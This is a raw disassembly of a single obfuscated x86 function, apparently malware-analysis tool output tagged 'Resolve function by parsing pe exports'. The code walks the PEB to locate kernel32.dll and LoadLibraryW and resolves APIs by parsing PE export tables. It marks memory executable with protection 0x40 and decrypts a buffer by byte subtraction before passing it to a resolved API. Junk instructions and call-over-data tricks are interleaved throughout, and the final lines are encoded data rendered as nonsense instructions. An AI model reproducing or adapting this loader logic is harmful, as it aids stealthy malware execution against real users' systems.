Function at 0x409576
Capabilities:
Resolve function by parsing pe exports

Disassembly:
add esp, 4
xor edx, 0x12a0d
pop edx
cmp dword [ebp - 0x150c], 0
jne 0x408a02
mov dword [ebp - 0x2a8], 0
jmp 0x408ca9
mov ecx, dword [ebp - 0x150c]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xc4c], eax
push esi
or esi, 0xd213
add esi, 0x6f32
call 0x408a30
add byte [ebx + 0x4c], al
inc eax
inc ecx
aaa
dec esi
dec eax
dec esi
add esp, 4
pop esi
push ecx
push edx
add esp, 4
or ecx, 0x13ab0
add ecx, 0xac07
pop ecx
cmp dword [ebp - 0xc4c], 0
jne 0x408a5e
mov dword [ebp - 0x2a8], 0
jmp 0x408ca9
mov ecx, dword [ebp - 0xc4c]
mov dword [ebp - 0x4e4], ecx
push edi
or edi, 0x5b14
or edi, 0x7414
xor edi, 0x124e2
sub edi, 0x7659
pop edi
push edx
push edi
add esp, 4
sub edx, 0xbc73
sub edx, 0x3233
xor edx, 0xf73c
pop edx
lea edx, [ebp - 0x1628]
mov dword [ebp - 0xc48], edx
mov eax, dword [ebp - 0x4e4]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xc44], ecx
xor edx, edx
mov word [ebp - 0x204], dx
xor eax, eax
mov word [ebp - 0x38], ax
push ecx
and ecx, 0x1771e
pop ecx
push eax
push eax
add esp, 4
or eax, 0x1db7
sub eax, 0x183d2
pop eax
push edx
push eax
add esp, 4
add edx, 0x1cd
add edx, 0x24f3
and edx, 0x17426
pop edx
mov ecx, dword [ebp - 0xc44]
mov dx, word [ecx]
mov word [ebp - 0xf8a], dx
mov eax, dword [ebp - 0xc44]
add eax, 2
mov dword [ebp - 0xc44], eax
mov cx, word [ebp - 0xf8a]
mov word [ebp - 0x204], cx
mov edx, dword [ebp - 0xc48]
mov ax, word [edx]
mov word [ebp - 0xf8c], ax
mov ecx, dword [ebp - 0xc48]
add ecx, 2
mov dword [ebp - 0xc48], ecx
mov dx, word [ebp - 0xf8c]
mov word [ebp - 0x38], dx
push esi
jmp 0x408b57
or esi, 0x15786
call 0x408b69
add byte [edx + 0x32], cl
xor eax, 0x8349394a
les eax, [ecx + eax*4]
into
int3
push eax
push ecx
add esp, 4
sub eax, 0x14eb8
or eax, 0xdf8d
pop eax
push edi
push ebx
add esp, 4
or edi, 0x3f33
add edi, 0x293b
pop edi
push esi
add esi, 0xc3b5
sub esi, 0x82b3
pop esi
cmp dword [ebp - 0x2a8], 0
jne 0x4095e0
mov eax, 0x6b
mov word [ebp - 0x16e8], ax
mov ecx, 0x65
mov word [ebp - 0x16e6], cx
mov edx, 0x72
mov word [ebp - 0x16e4], dx
mov eax, 0x6e
mov word [ebp - 0x16e2], ax
mov ecx, 0x65
mov word [ebp - 0x16e0], cx
mov edx, 0x6c
mov word [ebp - 0x16de], dx
mov eax, 0x33
mov word [ebp - 0x16dc], ax
mov ecx, 0x32
mov word [ebp - 0x16da], cx
mov edx, 0x2e
mov word [ebp - 0x16d8], dx
mov eax, 0x64
mov word [ebp - 0x16d6], ax
mov ecx, 0x6c
mov word [ebp - 0x16d4], cx
mov edx, 0x6c
mov word [ebp - 0x16d2], dx
xor eax, eax
mov word [ebp - 0x16d0], ax
push ecx
push esi
add esp, 4
add ecx, 0x16041
sub ecx, 0x5ecb
add ecx, 0x12346
pop ecx
push ebx
xor ebx, 0xcc86
or ebx, 0x3fdf
and ebx, 0xd034
or ebx, 0x13f3e
pop ebx
mov byte [ebp - 0x830], 0x4c
mov byte [ebp - 0x82f], 0x6f
mov byte [ebp - 0x82e], 0x61
mov byte [ebp - 0x82d], 0x64
mov byte [ebp - 0x82c], 0x4c
mov byte [ebp - 0x82b], 0x69
mov byte [ebp - 0x82a], 0x62
mov byte [ebp - 0x829], 0x72
mov byte [ebp - 0x828], 0x61
mov byte [ebp - 0x827], 0x72
mov byte [ebp - 0x826], 0x79
mov byte [ebp - 0x825], 0x57
mov byte [ebp - 0x824], 0
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x18d8], ecx
mov edx, dword [ebp - 0x18d8]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x18dc], eax
mov ecx, dword [ebp - 0x18dc]
mov dword [ebp - 0x1518], ecx
push esi
call 0x408e45
add byte [0x363d454a], bh
dec edx
aas
dec esp
add esp, 4
sub esi, 0xce78
pop esi
push eax
jmp 0x408e56
call 0x408e64
add byte [eax + eax*2 + 0x3d], al
xor cl, byte [edi + 0x41]
inc eax
xor eax, dword [ebx - 0x7ca7fb3c]
mov ebp, 0xffffeae8
add byte [ebp + 0xf], dh
mov dword [ebp - 0x710], 0
jmp 0x409127
push ebx
call 0x409134
add byte [esi], dh
dec ebx
aaa
dec edx
dec ebx
dec ecx
add esp, 4
pop ebx
push edx
push ebx
add esp, 4
and edx, 0xdc52
sub edx, 0x84e3
pop edx
push eax
push edx
add esp, 4
jmp 0x409158
pop eax
cmp dword [ebp - 0x710], 0
jne 0x4091a3
push ebx
push eax
add esp, 4
sub ebx, 0x1558
or ebx, 0xdc51
xor ebx, 0x105ad
pop ebx
push ebx
push edi
add esp, 4
and ebx, 0x14497
pop ebx
push eax
sub eax, 0x1827f
or eax, 0xda4
pop eax
mov dword [ebp - 0xa58], 0
jmp 0x409ccb
push edx
add edx, 0xe2ce
pop edx
push edx
push ecx
add esp, 4
and edx, 0x13b99
xor edx, 0xfc05
and edx, 0x1076c
and edx, 0x5d80
pop edx
push ecx
push edx
add esp, 4
sub ecx, 0x533f
pop ecx
mov ecx, dword [ebp - 0x710]
mov edx, dword [ecx + 0x18]
mov dword [ebp - 0x300], edx
mov dword [ebp - 0x720], 0
mov eax, dword [ebp - 0x300]
mov dword [ebp - 0x1564], eax
cmp dword [ebp - 0x1564], 0
jne 0x409214
mov ecx, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], ecx
jmp 0x409505
mov edx, dword [ebp - 0x1564]
mov eax, dword [ebp - 0x300]
add eax, dword [edx + 0x3c]
mov dword [ebp - 0x1568], eax
jne 0x40923c
mov ecx, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], ecx
jmp 0x409505
mov edx, 8
imul eax, edx, 0
mov ecx, dword [ebp - 0x1568]
mov edx, dword [ecx + eax + 0x78]
mov dword [ebp - 0x1570], edx
cmp dword [ebp - 0x1570], 0
jne 0x40926e
mov eax, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], eax
jmp 0x409505
mov ecx, dword [ebp - 0x300]
add ecx, dword [ebp - 0x1570]
mov dword [ebp - 0x714], ecx
jne 0x409293
mov edx, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], edx
jmp 0x409505
mov eax, dword [ebp - 0x714]
mov ecx, dword [ebp - 0x300]
add ecx, dword [eax + 0x20]
mov dword [ebp - 0x18e0], ecx
mov edx, dword [ebp - 0x714]
mov eax, dword [ebp - 0x300]
add eax, dword [edx + 0x24]
mov dword [ebp - 0x18e4], eax
mov ecx, dword [ebp - 0x714]
mov edx, dword [ebp - 0x300]
add edx, dword [ecx + 0x1c]
mov dword [ebp - 0x18e8], edx
mov dword [ebp - 0x718], 0
jmp 0x4092ed
mov eax, dword [ebp - 0x718]
add eax, 1
mov dword [ebp - 0x718], eax
mov ecx, dword [ebp - 0x714]
mov edx, dword [ebp - 0x718]
cmp edx, dword [ecx + 0x18]
jae 0x4094f9
mov eax, dword [ebp - 0x718]
mov ecx, dword [ebp - 0x18e0]
mov edx, dword [ebp - 0x300]
add edx, dword [ecx + eax*4]
mov dword [ebp - 0x71c], edx
mov eax, dword [ebp - 0x718]
mov ecx, dword [ebp - 0x18e4]
movzx edx, word [ecx + eax*2]
mov eax, dword [ebp - 0x18e8]
mov ecx, dword [ebp - 0x300]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x18ec], ecx
mov dword [ebp - 0x188], 0
jmp 0x40935d
mov edx, dword [ebp - 0x188]
add edx, 1
mov dword [ebp - 0x188], edx
mov eax, dword [ebp - 0x71c]
add eax, dword [ebp - 0x188]
movsx ecx, byte [eax]
test ecx, ecx
je 0x40940f
mov edx, dword [ebp - 0x188]
movsx eax, byte [ebp + edx - 0x830]
test eax, eax
je 0x40940f
push ebx
push eax
add esp, 4
xor ebx, 0xa534
or ebx, 0x1d6b
and ebx, 0x15bd
pop ebx
push edx
or edx, 0xe76a
and edx, 0xf998
xor edx, 0x13b0a
sub edx, 0xb01d
pop edx
mov ecx, dword [ebp - 0x71c]
add ecx, dword [ebp - 0x188]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x188]
movsx ecx, byte [ebp + eax - 0x830]
cmp edx, ecx
je 0x409401
mov edx, dword [ebp - 0x71c]
add edx, dword [ebp - 0x188]
movsx eax, byte [edx]
xor eax, 0x20
mov ecx, dword [ebp - 0x188]
movsx edx, byte [ebp + ecx - 0x830]
cmp eax, edx
jne 0x409408
jmp 0x40934e
jmp 0x40940f
push edx
sub edx, 0x1fcb
sub edx, 0x15cc5
or edx, 0x6afd
jmp 0x409427
pop edx
push edx
call 0x409437
add byte [ebx + ecx*2], dh
dec ecx
dec ecx
inc ebx
cmp byte [edx + 0x33], al
add esp, 4
and edx, 0x922a
pop edx
mov eax, dword [ebp - 0x71c]
add eax, dword [ebp - 0x188]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x188]
movsx eax, byte [ebp + edx - 0x830]
cmp ecx, eax
jne 0x40946e
mov dword [ebp - 0xc5c], 0
jmp 0x4094dd
push edx
push edx
add esp, 4
add edx, 0x3f61
pop edx
push edi
call 0x40948a
add byte [edi + esi + 0x43], al
inc eax
xor al, 0x3b
xor edi, dword [ecx]
inc ebp
add esp, 4
sub edi, 0xf8bf
jmp 0x409499
xor edi, 0xdd60
pop edi
mov ecx, dword [ebp - 0x71c]
add ecx, dword [ebp - 0x188]
movsx edx, byte [ecx]
or edx, 0x20
mov eax, dword [ebp - 0x188]
movsx ecx, byte [ebp + eax - 0x830]
or ecx, 0x20
cmp edx, ecx
jge 0x4094d3
mov dword [ebp - 0xc5c], 0xffffffff
jmp 0x4094dd
mov dword [ebp - 0xc5c], 1
cmp dword [ebp - 0xc5c], 0
jne 0x4094f4
mov edx, dword [ebp - 0x18ec]
mov dword [ebp - 0x3c8], edx
jmp 0x409505
jmp 0x4092de
mov eax, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], eax
cmp dword [ebp - 0x3c8], 0
je 0x4095e0
push ecx
add ecx, 0x145ae
sub ecx, 0x1622e
xor ecx, 0x687f
pop ecx
push edx
or edx, 0xbe43
and edx, 0x11858
jmp 0x40953b
jmp 0x409543
pop edx
mov ecx, dword [ebp - 0x3c8]
mov dword [ebp - 0x18f0], ecx
push edx
push ebx
add esp, 4
sub edx, 0x181af
add edx, 0x11d80
or edx, 0xe813
call 0x409576
add byte [esi], bh
inc ebx
inc eax
inc eax
dec edi
push eax
dec ecx
dec ebp
add esp, 4
pop edx
push ecx
or ecx, 0x8f68
pop ecx
mov edx, dword [ebp - 0x18f0]
mov dword [ebp - 0x18f4], edx
lea eax, [ebp - 0x1628]
push eax
call dword [ebp - 0x18f4]
test eax, eax
jne 0x4095e0
push ebx
xor ebx, 0x18015
pop ebx
push edi
push esi
add esp, 4
xor edi, 0xc36d
pop edi
push esi
push edi
add esp, 4
xor esi, 0x6291
or esi, 0x10a97
xor esi, 0xbc02
and esi, 0x10e0b
pop esi
mov dword [ebp - 0xa58], 0
jmp 0x409ccb
push esi
push esi
add esp, 4
call 0x4095f2
add byte [eax + 0x4a], dl
xor al, 0x41
cmp dword [edi], edi
dec edi
add esp, 4
call 0x409602
add byte [esi], dh
inc ebp
inc ecx
aas
dec ebp
dec ebp
inc ebp
add esp, 4
sub esi, 0x165d2
sub esi, 0xe7cd
pop esi
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x18f8], ecx
mov edx, dword [ebp - 0x18f8]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x18fc], eax
mov ecx, dword [ebp - 0x18fc]
mov dword [ebp - 0x1574], ecx
push edi
jmp 0x409641
or edi, 0x14f53
sub edi, 0x544f
sub edi, 0x13503
pop edi
push edx
call 0x409662
add byte [ebp + 0x4b], cl
cmp dword [esi], esi
dec esp
xor eax, 0x4c48341
jmp 0x40966b
pop edx
cmp dword [ebp - 0x1574], 0
jne 0x409684
mov dword [ebp - 0x2a8], 0
jmp 0x40992b
mov edx, dword [ebp - 0x1574]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xc68], ecx
push ecx
push edi
add esp, 4
xor ecx, 0x136d4
pop ecx
push edx
add edx, 0x16faa
or edx, 0x74cb
add edx, 0x108f1
and edx, 0x9914
pop edx
push esi
push ebx
add esp, 4
add esi, 0x10598
pop esi
cmp dword [ebp - 0xc68], 0
jne 0x4096e0
mov dword [ebp - 0x2a8], 0
jmp 0x40992b
mov edx, dword [ebp - 0xc68]
mov dword [ebp - 0x4ec], edx
push eax
sub eax, 0x13a01
add eax, 0x10dcd
sub eax, 0x874c
pop eax
push edi
push ebx
add esp, 4
and edi, 0xb274
or edi, 0x12685
sub edi, 0x11672
jmp 0x40971d
pop edi
lea eax, [ebp - 0x1628]
mov dword [ebp - 0xc64], eax
mov ecx, dword [ebp - 0x4ec]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0xc60], edx
xor eax, eax
mov word [ebp - 0x20c], ax
xor ecx, ecx
mov word [ebp - 0x40], cx
push edx
push eax
add esp, 4
or edx, 0x5fff
jmp 0x409759
or edx, 0x1785f
pop edx
push ecx
call 0x409770
add byte [eax], bh
dec edi
dec ecx
xor al, 0x48
cmp al, byte [edi + 0x41]
cmp eax, 0xeb04c483
add al, 0x38
cmp al, 0x43
inc edi
pop ecx
mov edx, dword [ebp - 0xc60]
mov ax, word [edx]
mov word [ebp - 0xf92], ax
mov ecx, dword [ebp - 0xc60]
add ecx, 2
mov dword [ebp - 0xc60], ecx
mov dx, word [ebp - 0xf92]
mov word [ebp - 0x20c], dx
mov eax, dword [ebp - 0xc64]
mov cx, word [eax]
mov word [ebp - 0xf94], cx
mov edx, dword [ebp - 0xc64]
add edx, 2
mov dword [ebp - 0xc64], edx
mov ax, word [ebp - 0xf94]
mov word [ebp - 0x40], ax
push edx
push ebx
add esp, 4
or edx, 0x2f52
sub edx, 0x166e7
or edx, 0x596e
pop edx
push edi
push edx
add esp, 4
add edi, 0x4ea9
jmp 0x4097fc
and edi, 0xe2c9
pop edi
movzx ecx, word [ebp - 0x40]
test ecx, ecx
jne 0x409820
movzx edx, word [ebp - 0x20c]
movzx eax, word [ebp - 0x40]
sub edx, eax
mov dword [ebp - 0x157c], edx
jmp 0x40987a
movzx ecx, word [ebp - 0x20c]
movzx edx, word [ebp - 0x40]
cmp ecx, edx
je 0x409748
movzx eax, word [ebp - 0x20c]
xor eax, 0x20
movzx ecx, word [ebp - 0x40]
cmp eax, ecx
je 0x409748
movzx edx, word [ebp - 0x20c]
movzx eax, word [ebp - 0x40]
cmp edx, eax
jge 0x409864
mov dword [ebp - 0x1578], 0xffffffff
jmp 0x40986e
mov dword [ebp - 0x1578], 1
mov ecx, dword [ebp - 0x1578]
mov dword [ebp - 0x157c], ecx
cmp dword [ebp - 0x157c], 0
jne 0x4098c3
push esi
call 0x409890
add byte [eax + 0x33], al
aaa
dec ebx
xor ecx, dword [esi - 0x7d]
les eax, [esi + ebx*2]
push esi
xor esi, 0x690e
pop esi
push edi
jmp 0x4098a2
sub edi, 0x1bf2
or edi, 0xa204
or edi, 0x2686
pop edi
mov edx, dword [ebp - 0x4ec]
mov dword [ebp - 0x2a8], edx
jmp 0x40992b
push eax
xor eax, 0xd2f8
xor eax, 0x858
pop eax
push edi
push eax
add esp, 4
or edi, 0xa025
sub edi, 0xffa
pop edi
push ebx
push esi
add esp, 4
or ebx, 0xf227
xor ebx, 0xec99
pop ebx
mov eax, dword [ebp - 0x4ec]
mov ecx, dword [eax]
mov dword [ebp - 0x4ec], ecx
mov edx, dword [ebp - 0x4ec]
cmp edx, dword [ebp - 0xc68]
je 0x409921
mov eax, dword [ebp - 0x4ec]
cmp dword [eax + 0x30], 0
jne 0x4096ec
mov dword [ebp - 0x2a8], 0
push edi
xor edi, 0xf8c2
add edi, 0xe0c6
or edi, 0x101a4
pop edi
push edx
jmp 0x409948
and edx, 0x42c3
xor edx, 0xb2e6
jmp 0x40995c
pop edx
mov ecx, dword [ebp - 0x2a8]
mov edx, dword [ecx + 0x18]
mov dword [ebp - 0x304], edx
push esi
add esi, 0x5125
sub esi, 0xd089
and esi, 0x68a2
pop esi
push ecx
push ebx
add esp, 4
call 0x409994
add byte [edx + ecx*2 + 0x3c], al
dec esi
dec ebx
xor bh, byte [esi - 0x7efb3b7d]
loope 0x40996c
push ebp
add dword [eax], eax
pop ecx
mov dword [ebp - 0x730], 0
mov eax, dword [ebp - 0x304]
mov dword [ebp - 0x1580], eax
cmp dword [ebp - 0x1580], 0
jne 0x4099ce
mov ecx, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], ecx
jmp 0x409cbf
mov edx, dword [ebp - 0x1580]
mov eax, dword [ebp - 0x304]
add eax, dword [edx + 0x3c]
mov dword [ebp - 0x1584], eax
jne 0x4099f6
mov ecx, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], ecx
jmp 0x409cbf
mov edx, 8
imul eax, edx, 0
mov ecx, dword [ebp - 0x1584]
mov edx, dword [ecx + eax + 0x78]
mov dword [ebp - 0x1588], edx
cmp dword [ebp - 0x1588], 0
jne 0x409a28
mov eax, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], eax
jmp 0x409cbf
mov ecx, dword [ebp - 0x304]
add ecx, dword [ebp - 0x1588]
mov dword [ebp - 0x724], ecx
jne 0x409a4d
mov edx, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], edx
jmp 0x409cbf
mov eax, dword [ebp - 0x724]
mov ecx, dword [ebp - 0x304]
add ecx, dword [eax + 0x20]
mov dword [ebp - 0x1900], ecx
mov edx, dword [ebp - 0x724]
mov eax, dword [ebp - 0x304]
add eax, dword [edx + 0x24]
mov dword [ebp - 0x1904], eax
mov ecx, dword [ebp - 0x724]
mov edx, dword [ebp - 0x304]
add edx, dword [ecx + 0x1c]
mov dword [ebp - 0x1908], edx
mov dword [ebp - 0x728], 0
jmp 0x409aa7
mov eax, dword [ebp - 0x728]
add eax, 1
mov dword [ebp - 0x728], eax
mov ecx, dword [ebp - 0x724]
mov edx, dword [ebp - 0x728]
cmp edx, dword [ecx + 0x18]
jae 0x409cb3
mov eax, dword [ebp - 0x728]
mov ecx, dword [ebp - 0x1900]
mov edx, dword [ebp - 0x304]
add edx, dword [ecx + eax*4]
mov dword [ebp - 0x72c], edx
mov eax, dword [ebp - 0x728]
mov ecx, dword [ebp - 0x1904]
movzx edx, word [ecx + eax*2]
mov eax, dword [ebp - 0x1908]
mov ecx, dword [ebp - 0x304]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x190c], ecx
mov dword [ebp - 0x18c], 0
jmp 0x409b17
mov eax, dword [ebp - 0x72c]
add eax, dword [ebp - 0x18c]
movsx ecx, byte [eax]
test ecx, ecx
je 0x409bc9
mov edx, dword [ebp - 0x18c]
movsx eax, byte [ebp + edx - 0x960]
test eax, eax
je 0x409bc9
push edi
push esi
add esp, 4
add edi, 0xd92f
call 0x409b5c
add byte [esi], bh
xor al, 0x4b
aas
xor eax, 0xc483474d
add al, 0x81
invalid
push edx
jmp 0x409bd3
call 0x409be2
add byte [esi + 0x35], al
xor al, byte [ebx + 0x36]
dec ebp
inc eax
inc esp
cmp dword [ebx + 0x535a04c4], eax
jmp 0x409bee
add ebx, 0x2648
sub ebx, 0x112a6
pop ebx
mov eax, dword [ebp - 0x72c]
add eax, dword [ebp - 0x18c]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x18c]
movsx eax, byte [ebp + edx - 0x960]
cmp ecx, eax
jne 0x409c28
mov dword [ebp - 0xc6c], 0
jmp 0x409c97
push ecx
xor ecx, 0x14b18
sub ecx, 0x2ee6
call 0x409c42
add byte [edx], dh
inc ebx
aas
cmp byte [ecx + 0x4f], al
inc ecx
add esp, 4
or ecx, 0xf56f
pop ecx
push edi
or edi, 0xc5cb
or edi, 0x6eac
pop edi
mov ecx, dword [ebp - 0x72c]
add ecx, dword [ebp - 0x18c]
movsx edx, byte [ecx]
or edx, 0x20
mov eax, dword [ebp - 0x18c]
movsx ecx, byte [ebp + eax - 0x960]
or ecx, 0x20
cmp edx, ecx
jge 0x409c8d
mov dword [ebp - 0xc6c], 0xffffffff
jmp 0x409c97
mov dword [ebp - 0xc6c], 1
cmp dword [ebp - 0xc6c], 0
jne 0x409cae
mov edx, dword [ebp - 0x190c]
mov dword [ebp - 0x4f0], edx
jmp 0x409cbf
jmp 0x409a98
mov eax, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], eax
mov ecx, dword [ebp - 0x4f0]
mov dword [ebp - 0xa58], ecx
push esi
or esi, 0x147f6
pop esi
push ebx
push edx
add esp, 4
add ebx, 0x13c8f
call 0x409ced
add byte [edi], bh
dec edi
inc edx
inc edi
xor eax, 0x3d454c4a
add esp, 4
xor ebx, 0x7025
xor ebx, 0xacb7
pop ebx
mov edx, dword [ebp - 0xa58]
mov dword [ebp - 0x1910], edx
lea eax, [ebp - 0xc70]
push eax
push 0x40
mov ecx, dword [ebp - 0x158c]
push ecx
mov edx, dword [ebp - 0x3cc]
push edx
call dword [ebp - 0x1910]
test eax, eax
jne 0x409d70
push ecx
push edi
add esp, 4
xor ecx, 0x81f3
jmp 0x409d3b
or ecx, 0x13863
pop ecx
push esi
sub esi, 0xe0fc
and esi, 0x14682
and esi, 0x12504
or esi, 0x1560d
pop esi
mov eax, dword [ebp - 0x738]
mov dword [ebp - 0x1914], eax
push 0
call dword [ebp - 0x1914]
mov ecx, dword [ebp - 0x1918]
mov dword [ebp - 0x734], ecx
jmp 0x409d8d
mov edx, dword [ebp - 0x734]
add edx, 1
mov dword [ebp - 0x734], edx
mov eax, dword [ebp - 0x734]
cmp eax, dword [ebp - 0xa5c]
jae 0x409de9
push ebx
xor ebx, 0xcaea
pop ebx
push eax
xor eax, 0x14742
pop eax
push edx
push ebx
add esp, 4
jmp 0x409db7
pop edx
push edx
call 0x409dc9
add byte [0x3f4d3a43], dh
xor al, 0x3d
inc ecx
cmp al, 0x38
add esp, 4
pop edx
movzx ecx, byte [ebp - 0x381]
mov edx, dword [ebp - 0x734]
movsx eax, byte [edx]
sub eax, ecx
mov ecx, dword [ebp - 0x734]
mov byte [ecx], al
jmp 0x409d7e
mov edx, dword [ebp - 0xa58]
mov dword [ebp - 0x191c], edx
lea eax, [ebp - 0xc70]
push eax
mov ecx, dword [ebp - 0xc70]
push ecx
mov edx, dword [ebp - 0x158c]
push edx
mov eax, dword [ebp - 0x3cc]
push eax
call dword [ebp - 0x191c]
test eax, eax
jne 0x409e61
push edi
and edi, 0x6e0f
pop edi
push ebx
push edi
add esp, 4
call 0x409e34
add byte [edi], dh
dec esp
inc ebp
dec esp
push eax
inc esi
add esp, 4
sub ebx, 0x29
call 0x409e49
add byte [edi + 0x33], cl
inc edx
cmp byte [ebx], dh
inc eax
add esp, 4
pop ebx
mov ecx, dword [ebp - 0x738]
mov dword [ebp - 0x1920], ecx
push 0
call dword [ebp - 0x1920]
push ebx
push esi
add esp, 4
add ebx, 0x13619
sub ebx, 0x146ad
or ebx, 0x149e2
pop ebx
push edi
add edi, 0x90b7
xor edi, 0x8bb4
or edi, 0x1782d
jmp 0x409e92
pop edi
push edx
mov ecx, 0x10101010
pop edx
push ecx
mov ecx, 0xffff05ff
pop ecx
push ebp
pop esp
mov cl, cl
or ebp, ebp
syscall
add eax, 0x50530505
dec edx
push ecx
cmp byte [edi], dh
dec esp
inc ecx
inc eax
mov cl, cl
or dword [ebp + 0x57], ebx
pop ebx
mov cl, cl
or dword [esi + 0x57777e7], eax
add eax, 0xfe0c786
push es
add eax, 0xcb865b5f
fimul word [esi]
add eax, 0x70bf6305
add eax, 0x8e6b0505
lcall 0x6abd, 0x404eec1
add eax, 0x8e6b0505
mov al, bl
out dx, al
add al, 4
mov esi, 0x5050577
imul ecx, dword [esi + 0x4eec592], 4
mov edi, 0x5050573
imul ecx, dword [esi + 0x4eec79a], 4
mov ebp, 0x505056a
imul ecx, dword [esi + 0x4eec98a], 4
mov esi, 0x5050571
imul ecx, dword [esi + 0x4eecb92], 4
mov edi, 0x5050538
imul ecx, dword [esi + 0x4eecd9a], 4
mov ebp, 0x5050537
imul ecx, dword [esi + 0x4eecf8a], 4
mov esi, 0x5050533
imul ecx, dword [esi + 0x4eed192], 4
mov edi, 0x5050569
imul ecx, dword [esi + 0x4eed39a], 4
mov ebp, 0x5050571
imul ecx, dword [esi + 0x4eed58a], 4
mov esi, 0x5050571
imul ecx, dword [esi + 0x4eed792], 4
cmp bh, dl
imul ecx, dword [esi + 0x4eed99a], 4
retf